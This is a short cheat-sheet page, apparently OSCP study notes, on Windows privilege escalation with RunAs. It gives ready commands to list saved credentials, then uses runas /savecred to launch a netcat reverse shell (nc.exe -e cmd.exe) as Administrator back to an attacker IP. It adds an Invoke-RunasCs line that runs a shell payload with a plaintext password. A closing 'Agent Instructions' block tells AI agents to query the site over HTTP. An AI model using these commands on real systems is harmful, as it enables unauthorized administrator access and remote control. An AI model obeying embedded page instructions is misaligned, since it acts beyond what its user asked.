# RunAs

## Overview

The **RunAs** command can be thought of as the **sudo** command in Linux. It allows you to run a command as someone else, aka the Administrator

## Escalation via RunAs

Check for stored credentials

```powerquery
cmdkey /list
```

Execute a command as Administrator

```powerquery
C:\Windows\System32\runas.exe /user:ACCESS\Administrator /savecred "C:\Users\security\nc.exe -e cmd.exe 10.10.14.10 1339"
```

Command Layout 

* C:\Windows\System32\runas.exe                                      use runas.exe
* /user:ACCESS\Administrator                                              use user Administrator
* /savescred                                                                                use the saved credentials
* "C:\Windows\System32\nc.exe                                           to run nc.exe as Administrator
* 10.10.14.10 1339                                                                        and connect back to hackerman

{% embed url="<https://github.com/antonioCoco/RunasCs/blob/master/Invoke-RunasCs.ps1>" %}

```
Import-module .\Invoke-RunasCs.ps1
```

```
Invoke-RunasCs svc_mssql trustno1 'C:\progrmadata\shell.exe'
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://oscp.adot8.com/windows-privilege-escalation/runas.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.